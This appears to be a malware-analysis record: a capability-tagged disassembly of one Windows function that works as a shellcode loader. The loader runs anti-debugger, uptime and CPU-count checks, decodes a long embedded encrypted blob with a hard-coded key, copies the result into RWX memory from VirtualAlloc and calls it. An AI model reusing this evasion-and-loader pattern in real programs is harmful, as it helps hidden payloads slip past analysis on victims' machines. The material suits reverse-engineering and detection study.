Function at 0x14000cb74
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Terminate process

Disassembly:
push rdi
sub rsp, 0x4f0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000cb8f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x3c
div ecx
cmp eax, 5
jae 0x14000cbb4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 2
jae 0x14000cbdc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14000cb34
lea rdx, [0x140051488]
lea rcx, [rsp + 0xb0]
call fcn.140003b20
nop
lea rdx, str.8412841284128412
lea rcx, [rsp + 0x90]
call fcn.140003b20
nop
lea rdx, str.YflWV_GdJ6kMbIcoBvJoW5WteFG68duISM50o_ZrmlBQiezx8nyx8nxCTxUWaR4K4PxyovWxTzol0MbuDSz61C1byK4qTUpVdc5qF_ql1Ae2HGpiIUQEcX8g96xJe7Fug821shivcVERy5zyBJra6dIs5eutF6RodIoQRqVjvNrLLSe6ThAO_USb833vlTtKvF1cT0r54Nx_kzLwcRWK5Kqzv8ta1wlXYBXUPL8axvXDoGYURD1rP7QnjovCZjDSULMVNZz1KivdqqeGmvpPs8lKv8HXhFrJtQXPLLdwFFX8aWMjshjXNo1nVkY5M1uKJTFO1Wa_q2H1mDOaF99gs6cWuZQyjw5TDi8lsYLwYt3pRrk4oJPJ_KifeC5AlMgYIGP3eoaE6UE7vjYPmxzsdQrAG0j6psNAfA4f_v3twrxnDvfGHXMEJIGeN58ZxauihG8l_XdklWxr3omcqvwTiMG0gNzVcDcB9XdncIHfJ17q301cf86Ob7W_lm4WSnTW3W9YdSbd0cfgcydIGU3XmJbNRdXrDjUVVGm5FcvQ7sg62eKXkxCa3aGMYQ4EXe3LEFdnHFF6TERwxBnCu1OiXspnpegtMz_aPnNzEMCBjXYlmALvnNEvLs6aW_jpSqWOVwuxT6t33ZtUzxaWYrqj4066i6JXdY250ASvrwILahn0W3N94SCYOyF7Yre0EIGIfvBDDlVoJKy1kfhQk0wBLBFVwROPKP51GsQCn7Q7Ab2yxIs6Rlig3wUP1jHF9uspCsZZKUfCvCqlrVx3bNtlNF4qptAtTfFkpaz5_cu1KRjdurfCMIjEP90LaIKdpUMfnziupQkL96hKt2py9Rh8k4lFU6aDsPvjl_F8vGKkwHFEY2Gsi13bYNcj5g0n9ZJhObHSsU3o1fYWn11qgJJvwcLy1UUNL3EOt78fNNUv3xuxCAfzc7JqKiNrFHsi5tUoSO_bM9tqrEIAFQe0sXv9Pdad97iZqHPqat5JxRatuZftcL5zj71RQig8cjSlqzCmHLkAYPdVBI4HiC5eIDv8CDFSH1gNMD88jwUzpAJA8eJkoujoMuzX9rq1yDrUXC1IckiUkpit6d9NXBQYW12PsPDt3RtnDVSmfsHi4FCJcapFOuzAxfBemiV1y4VX0ydQXmkEoKD24h37wmq0ifrOfLu33Joytoampevoy3n3y2hezg69f9NAjn7WZUwHHDz5bRb4aFRH9ZREdGJwfA_Lr2DfMmWXygwwS51jCo9OJXbHo8aI5DuAFputUKEpZZx0g2oBN_b7np1MtfpsxAnDaWwGO5ipX4QdWIwik29IV_1D9dAC_kohaOo0HxkYm0WqubQc877z3WO6Sm1PNxD7czcaQlkBXHFEguo2513WI5r2n9qNY0Vwv57HSOKXY9cW3hUjBx13i2evP5uGVQeH_chR48nznKskG8jhx9zUNxiIiubSTz20A5lXqGyh4ae_dN5cJ9sMr3cHw98AZsFzhJJdEV4VuB3GHKVqW7PtPcz__V80yYd6LHIyzs06gLYXzylZ_rOyTdgKV9387aTxOYUpsWMVC4fnao7Zd3NI6D2DmilV5EuE8ukYK_zv2y0nbTB1G7WmxYNrnnW7n5_w0xwb25etemKsEiXNWSq9531MjY5Gd4gMChBYwCKpxwEW7MYrDI3UoJzzPqQRMv8Ut5FmV_eLUUxiM7F9VAOdvxlkuecpVtLR3QTj07tPazJseHqWaB2vQpnmcPaMjwjRgMuxthBW8hVEef0klDLKFwafUPqGrhDhsb2LtD0YqX55e19zAR2OPS3hnwDLrYadk2oyu_2vZOCAbyF5cIYFSprZwKicnkx9HujYpsUNkuAxM6XMD8u2GYx_RGkhvG3h1foeWDqstwuYF8OVIwt5VCk0Gkmi_4rAh7q9xLcJexI2cYFCdIM6fdU1KZDblrqqSzJ9KwaiU0s2PlxcT8j9D4Zf43pWlbdr_sNMSuLSVXNFCtr69_RKEiIEZlEZBnxrH0REHItMrFwPD1zf9Scc7iEfmMB4Fp5EVwfGRnwmIRC2q1lFzok1yqJEbadcbk55gs5GoKKiKh9J0m1lZOUODGvUBStvXI1dA8kP_ttkKNr2Bh7SEePJvyvTHERLcLWr04jzpSGXl4lUxyKcxQlnWgA2VPh8JSH073hlU7u4JrgtGZ6gQONFVwuysJF9f5ChIn7pEhuTzyDuJzjPcEGPNQo29ujOhhYMRrYVcVqn2xzrJxkQrZLpGLeAIOxSyTnDrD0SK5r3wzIxfsa__Hf2fnlJsZ7kuLCaHLHl_VxncVPuBCNzbudde8E66DjI4xjg7c3023P8U7bIfnhknb_qnoEPxxIvzcZZoEuFbTWlvBQXElCf0zBAAddu1AMpSWy5YnCB00ZOIlhtVHX6btEFqJggzwQJiHLg3JR5IKbliylu8gbm98nYdx0YfL9Mg0YDggKo0WK5DHFYjAhgaKsNmPOktbnkMU5E8pRr7cBG_jbWO_R9csqqYL4xVpXZ3r8qBZnkPBTvZLdVSgUlNLIfPA5IIqPQzLwCqD1HXyomw0f71tujlf3xRW0wXPljiZlGHfbxD_WUINpACPHvoxq2EIHRHzlPW1mNzdYcJrRKNmWGeeUjPdGOM5Xzwck0e8YoOcZzzeFggXe34dGX3V72Tj8YGH8LOxy7xlROg1Z2AaxthIQH706kCEK_aZ6bt0DViUuxvuC1VdW8bWW3bi0LJf8mLrp4hDRVvQJXmMIKzGj4p6r8Nz377s0kPs9vBDR4bUAiQlQxjZIf7pBV30CGi9m69utXZYzxMtQZVk_e6x1oJf88Bso12ggpHroI4TCQMknQsCSebq1FnNHJF41vZtNjJyaZkkUDWI3D4dSgqxhE3YMvuaHU7lXYIh157TyFXW8EnH39CIGjBDHjxm7veN6o25vj5a5_Jc09fgCvAiRxwXL0QjZlZpjzBtxCFBgXk9pgngOd1vyZA2r47UYTBYEq2I_QyVmEztMCOIQ99U3p3S5AqNgyDxoCBU62kumKsIfI9jrYTx70E5Tz2jrXEsRE_QHRAHUq9lF8rkR5kgAi0BDX9DehnK2FfROCDW9TrKct7eKHPXb0rGjhr7CWtd54Nn6KaYkMy9Z1dnGCDMUrVAVTZz6zINeByGnZIfDionaG_pOvbjcURzIhj54dZKP7UfgD8wv6C1N8zUwAbRlHAyLrn98RLCrNctpMG4kyeECOYnq5ewAy9kYg9CgzIZsnpkbfxgiOvP5JjO0vzrydBsed8Eg0G7DPcgiLkm9GEo3IgrDLh54F4Oq_ST1hTg4g3Y5XGKQCc_SHWVo7NIkLNgYm_PlYUsmQPo73PdlA44sew2sa41Aid9PnEdidtRyFRam1T4LtWU7hjV2InMa2Ok06Eo_s_XxjBw_0KCkZqYVfSlMj7DRtDxC3xg4HTiARe1Ee415ix4KjOehAfe9KaFbrDCk0MLkaTnDrOsjXvZdrx1InQXShNMPtPnpHzmrH6GSg2gdFpGyIr1dowpNW6wQGqDQevxUyhyH1ujhSt3ahYrXbJwvcEYCBNuf1EIgpc4I4o0gBIkFrWJ3IYUNOwIKbCoMuVxiuHhMcSf5ZzcBAl2tyDiAzEzYvJrM1ayhRQaXV3H9Htu9J554QnKiDk7T8VRU3QT3QjiLapVfPozmj1gJQdh0nBk2_A8UTRw2cBr6zGy8LAr290m5THjVWbTGRID3bmvfyg1noWfnVVPNPiflfp15EmnJNZqomsFW43IfaIlNV017pvU0YSGEW2IoGj_Smca2nwNdwRgivWyHbJmIVfFl4yLBOvHW7SStBin1kq5EhO08aowxoCgd94Ju7Yiclv5m2RaE6OrK_HZkkHK39nZqC_ZFcGu2YzgXg9ruHUuIGDIPTpuhRslUrK3SaMKhCYy2vJonr_iFEuwCzl98tIEdnSyuDPkk0LYfYYZAtWPlxpWvEvmorYU_fbkAjV3Vh39xT1uevmQBz1Syw9WLswqob6jt7rHPAE01W1A63gCOpG7HNM2V5x3haWEF
lea rcx, [rsp + 0x70]
call fcn.140003b20
nop
lea r9, [rsp + 0x90]
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140009f58
nop
lea rdx, [rsp + 0x30]
lea rcx, [0x1400760d0]
call fcn.14000166c
lea rdx, [0x140002c78]
mov rcx, rax
call fcn.140006458
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000b618
nop
mov al, byte [0x140051482]
mov byte [rsp + 0x100], al
lea rax, [rsp + 0x101]
mov rdi, rax
xor eax, eax
mov ecx, 0x3e7
rep stosb byte [rdi], al
lea rcx, [rsp + 0x50]
call fcn.14000a4f8
mov r8d, 0x3a0
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.1400266b0
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3e8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
mov r8d, 0x3e8
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x28]
call fcn.1400266b0
call qword [rsp + 0x28]
nop
lea rcx, [rsp + 0x50]
call fcn.140005b6c
nop
lea rcx, [rsp + 0x30]
call fcn.140005b6c
nop
lea rcx, [rsp + 0x70]
call fcn.140005b6c
nop
lea rcx, [rsp + 0x90]
call fcn.140005b6c
nop
lea rcx, [rsp + 0xb0]
call fcn.140005b6c
jmp 0x14000cd29
xor eax, eax
add rsp, 0x4f0
pop rdi
ret